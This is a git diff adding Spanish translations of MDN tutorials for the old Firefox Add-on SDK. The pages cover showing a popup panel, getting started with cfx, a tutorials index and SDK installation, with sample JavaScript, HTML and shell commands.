+<p>Para mostrar un dialogo emergente, se usa el modulo <a href="/en-US/Add-ons/SDK/High-Level_APIs/panel"><code>panel</code></a>.  El contenido de un panel se define usando HTML. Puede ejecutar scripts de contenido en el panel: aunque el script que se ejecuta en el panel no pueda acceder directamente al código principal del add-on, puede intercambiar mensajes entre el script del panel y el código del add-on.</p>
+
+<p>En esta guía se crea un add-on que agrega un botón de acción en la barra de herramientas,  que al ser presionado muestra un panel. El panel solo contiene un elemento <code>&lt;textarea&gt;</code> : cuando se presiona la tecla <code>return</code>, el contenido del <code>&lt;textarea&gt;</code> es enviado al código principal del add-on. El código principal del add-on <a href="/en-US/Add-ons/SDK/Tutorials/Logging">registra el mensaje en la terminal</a>.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/7647/panel.png" style="display: block; margin-left: auto; margin-right: auto;">El add-on consta de seis archivos:</p>
+
+<ul>
+ <li><code>main.js</code>: el código principal del add-on, que crea el botón y el panel</li>
+ <li><code>get-text.js</code>: el script de contenido que interactua con el panel de contenido</li>
+ <li><code>text-entry.html</code>: el propio panel de contenido, especificado en código HTML</li>
+ <li><code>icon-16.png</code>, <code>icon-32.png</code>, y <code>icon-64.png</code>: iconos para el botón en tres tamaños diferentes</li>
+</ul>
+
+<p>El archivo "main.js" contiene lo siguiente:</p>
+
+<pre class="brush: js">var data = require("sdk/self").data;
+// Construct a panel, loading its content from the "text-entry.html"
+// file in the "data" directory, and loading the "get-text.js" script
+// into it.
+var text_entry = require("sdk/panel").Panel({
+  contentURL: data.url("text-entry.html"),
+  contentScriptFile: data.url("get-text.js")
+});
+
+// Create a button
+require("sdk/ui/button/action").ActionButton({
+  id: "show-panel",
+  label: "Show Panel",
+  icon: {
+    "16": "./icon-16.png",
+    "32": "./icon-32.png",
+    "64": "./icon-64.png"
+  },
+  onClick: handleClick
+});
+
+// Show the panel when the user clicks the button.
+function handleClick(state) {
+  text_entry.show();
+}
+
+// When the panel is displayed it generated an event called
+// "show": we will listen for that event and when it happens,
+// send our own "show" event to the panel's script, so the
+// script can prepare the panel for display.
+text_entry.on("show", function() {
+  text_entry.port.emit("show");
+});
+
+// Listen for messages called "text-entered" coming from
+// the content script. The message payload is the text the user
+// entered.
+// In this implementation we'll just log the text to the console.
+text_entry.port.on("text-entered", function (text) {
+  console.log(text);
+  text_entry.hide();
+});</pre>
+
+<p>El script de contenido "get-text.js" muestra:</p>
+
+<div>
+<pre class="brush: js">// When the user hits return, send the "text-entered"
+// message to main.js.
+// The message payload is the contents of the edit box.
+var textArea = document.getElementById("edit-box");
+textArea.addEventListener('keyup', function onkeyup(event) {
+  if (event.keyCode == 13) {
+    // Remove the newline.
+    text = textArea.value.replace(/(\r\n|\n|\r)/gm,"");
+    self.port.emit("text-entered", text);
+    textArea.value = '';
+  }
+}, false);
+// Listen for the "show" event being sent from the
+// main add-on code. It means that the panel's about
+// to be shown.
+//
+// Set the focus to the text area so the user can
+// just start typing.
+self.port.on("show", function onShow() {
+  textArea.focus();
+});</pre>
+
+<div> </div>
+</div>
+
+<p>Finalmente, el archivo "text-entry.html" define el elemento <code>&lt;textarea&gt;</code> :</p>
+
+<div>
+<div>
+<pre class="brush: html">&lt;html&gt;
+&lt;head&gt;
+    &lt;style type="text/css" media="all"&gt;
+      textarea {
+        margin: 10px;
+      }
+      body {
+        background-color: gray;
+      }
+    &lt;/style&gt;
+  &lt;/head&gt;
+&lt;body&gt;
+    &lt;textarea rows="13" cols="33" id="edit-box"&gt;&lt;/textarea&gt;
+  &lt;/body&gt;
+&lt;/html&gt;</pre>
+
+<div> </div>
+</div>
+</div>
+
+<p>Por último, se guardan estos tres iconos en el directorio "data":</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td><img alt="" src="https://mdn.mozillademos.org/files/7635/icon-16.png" style="height: 16px; width: 16px;"></td>
+   <td>icon-16.png</td>
+  </tr>
+  <tr>
+   <td><img alt="" src="https://mdn.mozillademos.org/files/7637/icon-32.png" style="height: 32px; width: 32px;"></td>
+   <td>icon-32.png</td>
+  </tr>
+  <tr>
+   <td><img alt="" src="https://mdn.mozillademos.org/files/7639/icon-64.png" style="height: 64px; width: 64px;"></td>
+   <td>icon-64.png</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>Pruebe lo siguiente: el archivo "main.js" se encuentra en el directorio <code>lib</code> del add-on, y los otros cinco archivos el el directorio <code>data</code> :</p>
+
+<pre>my-addon/
+         data/
+              get-text.js
+              icon-16.png
+              icon-32.png
+              icon-64.png
+              text-entry.html
+         lib/
+             main.js
+</pre>
+
+<p>Ejecute el add-on, presione el botón, y debería poder ver el panel. Escriba algo en el cuadro de texto y presione "return" y verá la salida en la terminal.</p>
+
+<p>Desde Firefox 30 en adelante, si usa <a href="/en-US/Add-ons/SDK/Low-Level_APIs/ui_button_toggle">botón del selección simple</a>, puede <a href="/en-US/Add-ons/SDK/Low-Level_APIs/ui_button_toggle#Attaching_panels_to_buttons">acoplar el panel al botón</a>.</p>
+
+<h2 id="Conozca_más">Conozca más</h2>
+
+<p>Para conocer más sobre el módulo <code>panel</code>, puede ver la <a href="/en-US/Add-ons/SDK/High-Level_APIs/panel">referencia de la API</a> <a href="/en-US/Add-ons/SDK/High-Level_APIs/panel"><code>panel</code></a>.</p>
+
+<p>Para conocer más sobre los botones,  puede ver la referencia de la API <a href="/en-US/Add-ons/SDK/Low-Level_APIs/ui_button_action">action button</a> y <a href="/en-US/Add-ons/SDK/Low-Level_APIs/ui_button_toggle">toggle button</a>.</p>
diff --git a/files/es/mozilla/add-ons/sdk/tutorials/getting_started/index.html b/files/es/mozilla/add-ons/sdk/tutorials/getting_started/index.html
new file mode 100644
index 0000000000..04c901f4f9
--- /dev/null
+++ b/files/es/mozilla/add-ons/sdk/tutorials/getting_started/index.html
@@ -0,0 +1,214 @@
+---
+title: Primeros pasos
+slug: Mozilla/Add-ons/SDK/Tutorials/Getting_started
+translation_of: Mozilla/Add-ons/SDK/Tutorials/Getting_Started_%28jpm%29
+---
+<p>Este tutorial recorre los pasos para la creación de un add-on simple usando el SDK.</p>
+
+<h2 id="Requisitos_previos">Requisitos previos</h2>
+
+<p>Para crear add-ons para Firefox usando el SDK, primero es necesario seguir las instrucciones para <a href="/en-US/Add-ons/SDK/Tutorials/Installation" rel="noreferrer">instalar y activar el SDK</a>. Una vez hecho esto, se debe ir directamente a la terminal.</p>
+
+<h2 id="Inicializar_un_add-on_vacío">Inicializar un add-on vacío</h2>
+
+<p>En la terminal, cree un directorio nuevo. El directorio no tiene que estar bajo la raíz del SDK: puede crearlo donde quiera. Dirijase al directorio recién creado, escriba <code>cfx init</code>, y presione la tecla enter o intro:</p>
+
+<pre>mkdir my-addon
+cd my-addon
+cfx init
+</pre>
+
+<p>Visualizará una salida como esta:</p>
+
+<pre>* lib directory created
+* data directory created
+* test directory created
+* doc directory created
+* README.md written
+* package.json written
+* test/test-main.js written
+* lib/main.js written
+* doc/main.md written
+Your sample add-on is now ready for testing:
+try "cfx test" and then "cfx run". Have fun!"
+</pre>
+
+<h2 id="Implementar_el_add-on">Implementar el add-on</h2>
+
+<p>Ahora puede escribir el código del add-on, el cual se ubica en el archivo "main.js" en el directorio "lib". Este archivo fue creado en el paso anterior. Abra este archivo y agrege el siguiente código:</p>
+
+<pre class="brush: js">var buttons = require('sdk/ui/button/action');
+var tabs = require("sdk/tabs");
+
+var button = buttons.ActionButton({
+  id: "mozilla-link",
+  label: "Visit Mozilla",
+  icon: {
+    "16": "./icon-16.png",
+    "32": "./icon-32.png",
+    "64": "./icon-64.png"
+  },
+  onClick: handleClick
+});
+
+function handleClick(state) {
+  tabs.open("https://www.mozilla.org/");
+}
+</pre>
+
+<p>Guarde los cambios.</p>
+
+<p>Luego, guarde estos tres iconos en el directorio "data" :</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td><img alt="" src="https://mdn.mozillademos.org/files/7635/icon-16.png" style="height: 16px; width: 16px;"></td>
+   <td>icon-16.png</td>
+  </tr>
+  <tr>
+   <td><img alt="" src="https://mdn.mozillademos.org/files/7637/icon-32.png" style="height: 32px; width: 32px;"></td>
+   <td>icon-32.png</td>
+  </tr>
+  <tr>
+   <td><img alt="" src="https://mdn.mozillademos.org/files/7639/icon-64.png" style="height: 64px; width: 64px;"></td>
+   <td>icon-64.png</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>Vuelva a la terminal y escriba:</p>
+
+<pre>cfx run
+</pre>
+
+<p>Esta es la orden del SDK para ejecutar una nueva instancia de Firefox con el add-on instalado. Cuando el Firefox es presentado, en la esquina superior derecha se puede ver un ícono con el logo de Firefox. Al hacer clic en el ícono, se abrirá una pestaña nueva donde se cargará la página <a href="https://www.mozilla.org/" rel="noreferrer">https://www.mozilla.org/</a>.</p>
+
+<div class="note">
+<p>Es posible que vea un error como este al ejecutar cfx run:</p>
+
+<pre class="bz_comment_text" id="comment_text_0">A given cfx option has an inappropriate value:
+  ZIP does not support timestamps before 1980</pre>
+
+<p>De ser así, se ha encontrado con el <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1005412">bug 1005412</a>, lo que significa que los archivos de los iconos que ha descargado están arrojando una marca de tiempo de 1970. Hasta que este error sea resuelto, la solución es usar la orden <a href="http://www.linfo.org/touch.html"><code>touch</code></a> para actualizar la marca de tiempo:</p>
+
+<pre>touch icon-16.png</pre>
+</div>
+
+<p>Esto es todo lo que este add-on hace. Usa dos módulos del SDK: el módulo <a href="/en-US/Add-ons/SDK/Low-Level_APIs/ui_button_action">action button</a>, el cual permite agregar botones al navegador, y el módulo <a href="/en-US/Add-ons/SDK/High-Level_APIs/tabs" rel="noreferrer">tabs</a>, el cual permite llevar a cabo operaciones básicas con las pestañas. En este caso, se ha creado un botón cuyo icono es el logo de Firefox, y se le agregó un controlador que carga la página principal de Mozilla en una nueva pestaña al hacer clic en el icono.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/7643/mozilla-button.png" style="display: block; height: 221px; margin-left: auto; margin-right: auto; width: 382px;">Intente editar este archivo. Por ejemplo, puede cambiar la página que es cargada:</p>
+
+<pre class="brush: js">var buttons = require('sdk/ui/button/action');
+var tabs = require("sdk/tabs");
+
+var button = buttons.ActionButton({
+  id: "mozilla-link",
+  label: "Visit Mozilla",
+  icon: {
+    "16": "./icon-16.png",
+    "32": "./icon-32.png",
+    "64": "./icon-64.png"
+  },
+  onClick: handleClick
+});
+
+function handleClick(state) {
+  tabs.open("https://developer.mozilla.org/");
+}</pre>
+
+<p>En la terminal, ejecute de nuevo <code>cfx run</code>. Ahora al hacer clic en el ícono se cargará la página <a href="https://developer.mozilla.org/">https://developer.mozilla.org/</a>.</p>
+
+<h2 id="Empaquetar_el_add-on">Empaquetar el add-on</h2>
+
+<p>Cuando el add-on este terminado y listo para distribuirse, será necesario empaquetarlo como un archivo XPI. Este es el formato de archivo de instalación para los add-ons de Firefox. Puede distribuir los archivos XPI por cuenta propia o publicarlos en <a href="https://addons.mozilla.org" rel="noreferrer">https://addons.mozilla.org</a> para que otros usuarios puedan descargarlos e instalarlos.</p>
+
+<p>Para construir un XPI, solo se debe ejecutar la orden <code>cfx xpi</code> desde el directorio del add-on:</p>
+
+<pre>cfx xpi
+</pre>
+
+<p>Visualizará una salida como esta:</p>
+
+<pre>Exporting extension to my-addon.xpi.
+</pre>
+
+<p>Para comprobar que funcione, intente instalar el archivo XPI en el Firefox instalado en su sistema. Lo puede hacer presionando la combinación de teclas Ctrl+O (Cmd+O en Mac) desde el Firefox, o seleccionando la opción "Abrir" desde el menú "Archivo" de Firefox. Esto abrirá un diálogo de selección; navegue hasta el archivo "my-addon.xpi", abra el archivo y siga las instrucciones para instalar el add-on.</p>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p>En este tutorial se ha construido y empaquetado un add-on usando tres órdenes:</p>
+
+<ul>
+ <li><code>cfx init</code> para inicializar una plantilla vacía para el add-on</li>
+ <li><code>cfx run</code> para ejecutar una instancia nueva de Firefox con el add-in instalado, para poder realizar pruebas</li>
+ <li><code>cfx xpi</code> para empaquetar el add-on en un archivo XPI para su distribución</li>
+</ul>
+
+<p>Estas son las tres órdenes principales, usadas cuando se desarrollan add-ons con SDK. Existe una completa <a href="/en-US/Add-ons/SDK/Tools/cfx" rel="noreferrer">documentación de referencia</a> que cubre todas las órdenes que pueden ser usadas y todas sus opciones disponibles.</p>
+
+<p>El código del add-on usa dos módulos del SDK, <a href="/en-US/Add-ons/SDK/Low-Level_APIs/ui_button_action">action button</a> y <a href="/en-US/Add-ons/SDK/High-Level_APIs/tabs" rel="noreferrer">tabs</a>. Existe una documentación de referencia para todas las APIs de <a href="/en-US/Add-ons/SDK/High-Level_APIs" rel="noreferrer">alto-nivel</a> y <a href="/en-US/Add-ons/SDK/Low-Level_APIs" rel="noreferrer">bajo-nivel</a> en el SDK.</p>
+
+<h2 id="Qué_sigue">Qué sigue?</h2>
+
+<p>Para tener una idea de lo que se puede hacer con las APIs del SDK, puede revisar alguno de estos <a href="/en-US/Add-ons/SDK/Tutorials" rel="noreferrer">tutoriales</a>.</p>
+
+<h2 id="Técnicas_avanzadas">Técnicas avanzadas</h2>
+
+<h3 id="Sobrescribiendo_los_módulos_integrados">Sobrescribiendo los módulos integrados</h3>
+
+<p>Los módulos del SDK que son usados para implementar un add-on están integrados en Firefox. Cuando se ejecuta o empaqueta un add-on usando <code>cfx run</code> o <code>cfx xpi</code>, el add-on usará las versiones de los módulos de la versión de Firefox que los aloja.</p>
+
+<p>Como desarrollador de add-on, esto es usualmente lo deseable. Pero si esta desarrollando los módulos del SDK, por supuesto, que no lo es. En este caso se asume que se accedió al SDK desde el repositorio de <a href="https://github.com/mozilla/addon-sdk" rel="noreferrer">GitHub</a> y se ejecutó la secuencia de comandos <a href="/en-US/Add-ons/SDK/Tutorials/Installation" rel="noreferrer">bin/activate</a> desde la raíz de checkout.</p>
+
+<p>Luego al aplicar <code>cfx run</code> or <code>cfx xpi</code>, se agrega la opción "-o":</p>
+
+<pre>cfx run -o
+</pre>
+
+<p>Esto le indica a cfx a usar las copias locales de los módulos del SDK, y no aquellas en Firefox.</p>
+
+<h3 id="Desarrollar_sin_cfx_run">Desarrollar sin cfx run</h3>
+
+<p>Debido a que <code>cfx run</code> reinicia el navegador cada vez que es invocado, en ocasiones puede resultar un poco incómodo si se realizan cambios frecuentes al add-on. Un modelo alternativo de desarrollo es usar el add-on <a href="https://addons.mozilla.org/en-US/firefox/addon/autoinstaller/" rel="noreferrer">Extension Auto-Installer</a>: el cual esta atento a la existencia de nuevos archivos XPI en un puerto determinado y los instala automáticamente. De esta manera se pueden probar los cambios realizados sin necesidad de reiniciar el navegador:</p>
+
+<ul>
+ <li>haga un cambio en el add-on</li>
+ <li>ejecute cfx xpi</li>
+ <li>coloque el add-on a<span class="rangySelectionBoundary" id="selectionBoundary_1424221520004_6724972203681473" style="display: none; line-height: 0;"></span>l puerto especificado</li>
+</ul>
+
+<p>Incluso, se puede automatizar este proceso con una simple secuencia de comandos.<span class="rangySelectionBoundary" id="selectionBoundary_1424221645966_1440660097593104" style="display: none; line-height: 0;"></span> Por ejemplo:</p>
+
+<pre>while true ; do cfx xpi ; wget --post-file=codesy.xpi http://localhost:8888/ ; sleep 5 ; done
+</pre>
+
+<p>Nótese que el nivel de acceso definido para la terminal cuando se usa este método es diferente, comparado con el nivel de acceso usado cuando un add-on es ejecutado usando <code>cfx run</code>. Esto significa que si se desea ver la salida desde los mensajes de  <a href="/en-US/Add-ons/SDK/Tutorials/Logging" rel="noreferrer"><code>console.log()</code></a>, se debe modificar la configuración. Vea la documentación en <span class="rangySelectionBoundary" id="selectionBoundary_1424222319862_9715120149565866" style="display: none; line-height: 0;"></span><a href="/en-US/Add-ons/SDK/Tools/console#Logging_Levels" rel="noreferrer">niveles de acceso</a> para más detalles.</p>
+
+<p>Otra alternativa es con el uso de <a href="http://gruntjs.com/">grunt</a> y <a href="https://www.npmjs.com/package/grunt-shell">grunt-shell</a>:</p>
+
+<pre class="brush: js">module.exports = function(grunt) {
+  'use strict';
+  require('matchdep').filterDev('grunt-!(cli)').forEach(grunt.loadNpmTasks);
+  grunt.initConfig({
+    shell: {
+      xpi: {
+        command: [
+          'cd pluginpath',
+          'cfx xpi',
+          'wget --post-file=pluginname.xpi http://localhost:8888/ || echo&gt;/dev/null'
+        ].join('&amp;&amp;')
+      }
+    },
+    watch: {
+      xpi: {
+        files: ['pluginpath/**'],
+        tasks: ['shell:xpi']
+      }
+    }
+  });
+
+  grunt.loadNpmTasks('grunt-contrib-watch');
+  grunt.loadNpmTasks('grunt-shell');
+  grunt.registerTask('default', ['watch']);
+};</pre>
diff --git a/files/es/mozilla/add-ons/sdk/tutorials/index.html b/files/es/mozilla/add-ons/sdk/tutorials/index.html
new file mode 100644
index 0000000000..478d88d56a
--- /dev/null
+++ b/files/es/mozilla/add-ons/sdk/tutorials/index.html
@@ -0,0 +1,146 @@
+---
+title: Tutoriales
+slug: Mozilla/Add-ons/SDK/Tutorials
+tags:
+  - Add-on SDK
+  - NeedsTranslation
+  - TopicStub
+translation_of: Archive/Add-ons/Add-on_SDK/Tutorials
+---
+<p>Esta página lista prácticos artículos funcionales sobre como lograr realizar tareas específicas usando SDK.</p>
+
+<hr>
+<h3 id="Primeros_pasos"><a name="getting-started">Primeros pasos</a></h3>
+
+<div class="column-container">
+<div class="column-half">
+<dl>
+ <dt><a href="/es/docs/Mozilla/Add-ons/SDK/Tutorials/Installation">Instalación </a></dt>
+ <dd>Descargar, instalar, e inicializar el SDK en Windows, OS X y Linux.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/es/docs/Mozilla/Add-ons/SDK/Tutorials/Troubleshooting">Resolución de problemas </a></dt>
+ <dd>Algunos consejos para solucionar problemas comunes y obtener más ayuda.</dd>
+</dl>
+</div>
+
+<div class="column-half">
+<dl>
+ <dt><a href="/es/docs/Mozilla/Add-ons/SDK/Tutorials/Getting_started">Primeros pasos </a></dt>
+ <dd>Guía paso a paso para la creación de un add-on simple con SDK.</dd>
+</dl>
+</div>
+</div>
+
+<hr>
+<h3 id="Crear_interfaces_de_usuario"><a name="create-user-interfaces">Crear interfaces de usuario</a></h3>
+
+<div class="column-container">
+<div class="column-half">
+<dl>
+ <dt><a href="/es/docs/Mozilla/Add-ons/SDK/Tutorials/Adding_a_Button_to_the_Toolbar">Agregar un botón a la barra de herramientas</a></dt>
+ <dd>Fijar un botón a la barra de herramientas de Add-on de Firefox.</dd>
+ <dt><a href="/es/docs/Mozilla/Add-ons/SDK/Tutorials/Add_a_Menu_Item_to_Firefox">Agregar una opción de menú en Firefox </a></dt>
+ <dd>Agregar opciones a los menú principales de Firefox.</dd>
+</dl>
+</div>
+
+<div class="column-half">
+<dl>
+ <dt><a href="/es/docs/Mozilla/Add-ons/SDK/Tutorials/Display_a_Popup">Mostrar una ventana emergente </a></dt>
+ <dd>Mostrar una ventana de dialogo emergente implementando HTML y JavaScript.</dd>
+ <dt><a href="/es/docs/Mozilla/Add-ons/SDK/Tutorials/Add_a_Context_Menu_Item">Agregar una opción al menú contextual</a></dt>
+ <dd>Agregar opciones al menú contextual de Firefox</dd>
+</dl>
+</div>
+</div>
+
+<hr>
+<h3 id="Interactuar_con_el_navegador"><a name="interact-with-the-browser">Interactuar con el navegador</a></h3>
+
+<div class="column-container">
+<div class="column-half">
+<dl>
+ <dt><a href="/es/docs/Mozilla/Add-ons/SDK/Tutorials/Open_a_Web_Page">Abrir una página web </a></dt>
+ <dd>Abrir una página web en una nueva pestaña o ventana del navegador usando el modulo de pestañas, y accediendo a su contenido.</dd>
+ <dt><a href="/es/docs/Mozilla/Add-ons/SDK/Tutorials/Listen_for_Page_Load">Atender las cargas de página</a></dt>
+ <dd>Usar el módulo de pestañas para recibir notificaciones cuando una página web nueva sea cargada, y acceder a su contenido.</dd>
+</dl>
+</div>
+
+<div class="column-half">
+<dl>
+ <dt><a href="/es/docs/Mozilla/Add-ons/SDK/Tutorials/List_Open_Tabs">Obtener la lista de las pestañas abiertas</a></dt>
+ <dd>Usar el módulo de pestañas para recorrer las pestañas abiertas actualmente, y acceder a su contenido.</dd>
+</dl>
+</div>
+</div>
+
+<hr>
+<h3 id="Modificar_páginas_web"><a name="modify-web-pages">Modificar páginas web</a></h3>
+
+<div class="column-container">
+<div class="column-half">
+<dl>
+ <dt><a href="/en-US/Add-ons/SDK/Tutorials/Modifying_Web_Pages_Based_on_URL">Modificar páginas web basándose en el URL</a></dt>
+ <dd>Crear filtro para páginas web basándose en el URL: siempre que una página web cuyo URL coincida con el filtro cargado, ejecuta una secuencia de comandos específica en él.</dd>
+</dl>
+</div>
+
+<div class="column-half">
+<dl>
+ <dt><a href="/en-US/Add-ons/SDK/Tutorials/Modifying_the_Page_Hosted_by_a_Tab">Modificar la página web activa</a></dt>
+ <dd>Cargar de forma dinámica una secuencia de comandos dentro de la página web activa.</dd>
+</dl>
+</div>
+</div>
+
+<hr>
+<h3 id="Técnicas_de_desarrollo"><a name="development-techniques">Técnicas de desarrollo</a></h3>
+
+<div class="column-container">
+<div class="column-half">
+<dl>
+ <dt><a href="/en-US/Add-ons/SDK/Tutorials/Logging">Registro de actividad</a></dt>
+ <dd>Registrar los mensajes a la terminal con propósitos de diagnósticos.</dd>
+ <dt><a href="/en-US/Add-ons/SDK/Tutorials/Creating_reusable_modules">Crear módulos reusables</a></dt>
+ <dd>Estructurar el add-on en módulos separados para hacer más fácil el desarrollo, depuración, y mantenimiento. <span class="rangySelectionBoundary" id="selectionBoundary_1422581870550_1450407927374966" style="display: none; line-height: 0;"></span>Crear paquetes reusables que contengan los módulos, de esta manera otros desarrolladores puedan usarlos también.</dd>
+ <dt><a href="/en-US/Add-ons/SDK/Tutorials/Unit_testing">Pruebas unitarias </a></dt>
+ <dd>Escribir y ejecutar pruebas unitarias usando el marco de trabajo para pruebas de SDK.</dd>
+ <dt><a href="/en-US/Add-ons/SDK/Tutorials/Chrome_authority">Autoridad Chrome </a></dt>
+ <dd>Ganar acceso al objeto Components, permitiendo al add-on cargar y usar el objeto XPCOM.</dd>
+ <dt><a href="/en-US/Add-ons/SDK/Tutorials/Creating_event_targets">Creando destinos del evento</a></dt>
+ <dd>Permite a los objetos definidos emitir sus propios eventos.</dd>
+</dl>
+</div>
+
+<div class="column-half">
+<dl>
+ <dt><a href="/en-US/Add-ons/SDK/Tutorials/Listening_for_load_and_unload">Encargarse de las cargas y descargas</a></dt>
+ <dd>Obtener las notificaciones cuando el add-on sea cargado y descargado por Firefox, y pasar argumentos en el add-on desde la terminal.</dd>
+ <dt><a href="/en-US/Add-ons/SDK/Tutorials/Add_a_Menu_Item_to_Firefox">Usar módulos externos (jpm)</a></dt>
+ <dd>Instalar y usar módulos adicionales que no son entregados con el SDK.</dd>
+ <dt><a href="/en-US/Add-ons/SDK/Tutorials/l10n">Localización </a></dt>
+ <dd>Escribir código que pueda ser adaptado a otro idioma.</dd>
+ <dt><a href="/en-US/Add-ons/SDK/Tutorials/Mobile_development">Desarrollo Móbil</a></dt>
+ <dd>Desarrollar add-ons para Firefox Móbil en Android.</dd>
+ <dt><a href="/en-US/Add-ons/Add-on_Debugger">Depurador de Add-on</a></dt>
+ <dd>Depurar el código JavaScript del add-on.</dd>
+</dl>
+</div>
+</div>
+
+<hr>
+<h3 id="Juntando_todo"><a name="putting-it-together">Juntando todo</a></h3>
+
+<div class="column-container">
+<div class="column-half">
+<dl>
+ <dt><a href="/en-US/Add-ons/SDK/Tutorials/Annotator">Add-on Anotador</a></dt>
+ <dd>Un manual de un add-on relativamente complejo.</dd>
+</dl>
+</div>
+</div>
+
+<p> </p>
diff --git a/files/es/mozilla/add-ons/sdk/tutorials/installation/index.html b/files/es/mozilla/add-ons/sdk/tutorials/installation/index.html
new file mode 100644
index 0000000000..655c6e098f
--- /dev/null
+++ b/files/es/mozilla/add-ons/sdk/tutorials/installation/index.html
@@ -0,0 +1,145 @@
+---
+title: Instalación
+slug: Mozilla/Add-ons/SDK/Tutorials/Installation
+tags:
+  - Guía
+  - Principiante
+translation_of: Mozilla/Add-ons/SDK/Tools/jpm#Installation
+---
+<h2 id="Requerimientos_previos">Requerimientos previos</h2>
+
+<p>Para desarrollar add-ons usando el SDK Add-o, necesitaras:</p>
+
+<ul>
+ <li><a href="http://www.python.org/">Python</a> 2.5, 2.6 o 2.7. Hay que tener encuenta que las versiones 3.x de Python no son soportadas en ninguna plataforma. Asegurte que Python se encuentre en la ruta del sistema.</li>
+ <li>Firefox.</li>
+ <li>El propio SDK: puedes decargar la última versión estable del SDK como un <a href="https://ftp.mozilla.org/pub/mozilla.org/labs/jetpack/jetpack-sdk-latest.tar.gz">tarball</a> o como un <a href="https://ftp.mozilla.org/pub/mozilla.org/labs/jetpack/jetpack-sdk-latest.zip">archivo zip</a>.</li>
+</ul>
+
+<h2 id="Instalación">Instalación</h2>
+
+<h3 id="Instalación_en_OS_X_FreeBSD_Linux">Instalación en OS X, FreeBSD, Linux</h3>
+
+<p>Extrae el contenido del archivo en el lugar de tu preferencia, y navega hasta el directorio principal del SDK con una shell/command prompt. Por ejemplo:</p>
+
+<pre>tar -xf addon-sdk.tar.gz
+cd addon-sdk
+</pre>
+
+<p>Luego, si eres un usuario Bash, ejecuta:</p>
+
+<pre>source bin/activate
+</pre>
+
+<p>Si no eres un usuario Bash, debes ejecutar:</p>
+
+<pre>bash bin/activate
+</pre>
+
+<p>En la línea de entrada de tu terminal ahora deberías tener un prefijo con el nombre del directorio raíz del SDK:</p>
+
+<pre>(addon-sdk)~/mozilla/addon-sdk &gt;
+</pre>
+
+<p>La orden <code>activate</code> establece algunas variables de entorno necesarias para el SDK. Establece las variables solo para la terminal actual. Si abres una terminal nueva, el SDK no estará activo hasta que ejecutes nuevamente <code>activate</code>. Si deseas una activación permanente, dirigete a <a href="/es/docs/Mozilla/Add-ons/SDK/Tutorials/Installation#Establecer_activate_permanentemente">Establecer activate permanentemente</a> mas abajo.</p>
+
+<h3 id="Instalación_en_OS_X_usando_Homebrew">Instalación en OS X usando Homebrew</h3>
+
+<p>Si usas Mac, puedes usar <a href="http://brew.sh/">Homebrew</a> para instalar el SDK, usando la siguiente orden:</p>
+
+<pre>brew install mozilla-addon-sdk</pre>
+
+<p>Una vez que el proceso se haya completado satisfactoriamente, puedes usar el programa <code>cfx</code> en tu línea de órdenes en cualquier momento: no necesitas ejecutar bin/activate.</p>
+
+<h3 id="Instalación_en_Windows">Instalación en Windows</h3>
+
+<p>Extrae el contenido del archivo en el lugar de tu peferencia, y navega hasta el directorio principal de SDK con la terminal. Por ejemplo:</p>
+
+<pre>7z.exe x addon-sdk.zip
+cd addon-sdk
+</pre>
+
+<p>Luego ejecuta:</p>
+
+<pre>bin\activate
+</pre>
+
+<p>En la línea de entrada de tu terminal ahora deberías tener un prefijo con el nombre completo del directorio raíz del SDK:</p>
+
+<pre>(C:\Users\mozilla\sdk\addon-sdk) C:\Users\Work\sdk\addon-sdk&gt;
+</pre>
+
+<p>La orden <code>activate</code> establece algunas variables de entorno necesarias para el SDK. Establece las variables solo para la terminal actual. Si abres una terminal nueva, el SDK no estará activo hasta que ejecutes nuevamente <code>activate</code>. Si deseas una activación permanente, dirigete a <a href="/es-ES/Add-ons/SDK/Tutorials/Installation#Establecer_activate_permanentemente">Estableciendo activate permanentemente</a> mas abajo.</p>
+
+<h2 id="Verificar_congruencia">Verificar congruencia</h2>
+
+<p>Ejecuta esto en tu terminal:</p>
+
+<pre class="language-html"><code class="language-html">cfx</code></pre>
+
+<p>Esto debería arrojar una salida cuyas primeras lineas deberían verse algo parecido a esto, seguidas de muchas línas de información útil:</p>
+
+<pre class="language-html">Usage: cfx [options] [command]</pre>
+
+<p>Este es el  <a href="https://developer.mozilla.org/en-US/Add-ons/SDK/Tools/cfx">programa de la línea de órdnes<code> cfx</code></a>. Es tu principal interfaz con el Add-on SDK. Lo usas para ejecutar Firefox y probar tu add-on, empaquetar tu add-on para distribuirlo, ver documentación, y ejecutar pruebas unitarias.</p>
+
+<p>Si no puedes ver esto, dirigete a la página <a href="https://developer.mozilla.org/en-US/Add-ons/SDK/Tutorials/Troubleshooting">Resolución de problemas</a>.</p>
+
+<h2 id="Próximos_Pasos">Próximos Pasos</h2>
+
+<p>Ahora, dale un vistazo al tutorial <a href="https://developer.mozilla.org/en-US/Add-ons/SDK/Tutorials/Getting_Started_With_cfx">Comenzando con cfx</a>, en el cual se explica como crear add-ons usando la herramienta<code> cfx</code>.</p>
+
+<h2 id="Tópicos_avanzados">Tópicos avanzados</h2>
+
+<h3 id="Usar_el_SDK_desde_Git">Usar el SDK desde Git</h3>
+
+<p>El SDK es desarrollado en GitHub. En vez de usar versiones en archivos comprimidos, puedes echar un vistazo al <a href="https://github.com/mozilla/addon-sdk">repositorio GitHub</a>: con esto puedes usar la última versión de desarrollo en vez de usar el lanzamiento oficial.</p>
+
+<p>Si usas la última versión de desarrollo, debes usarla con la versión Nightly de Firefox, y no podrás enviar a <a href="https://addons.mozilla.org/">addons.mozilla.org</a> (AMO) ningún add-ons que desarrolles, porque AMO solicita que uses el lanzamiento oficial.</p>
+
+<h4 id="Desarrollar_add-ons_para_AMO_desde_Git">Desarrollar add-ons para AMO desde Git</h4>
+
+<p>Si deseas desarrollar add-ons que puedan ser admitidos en AMO usando Git, entonces deberás:</p>
+
+<ul>
+ <li>usar el último lanzamiento etiquetado en git de las fuentes de addon-sdk</li>
+ <li>ejecutar la orden <code>git archive</code> para ampliar algunos atributos de marcado de posición de git dentro de un directorio activo clonado de git.</li>
+</ul>
+
+<pre>git checkout 1.17
+
+git archive 1.17 python-lib/cuddlefish/_version.py | tar -xvf -</pre>
+
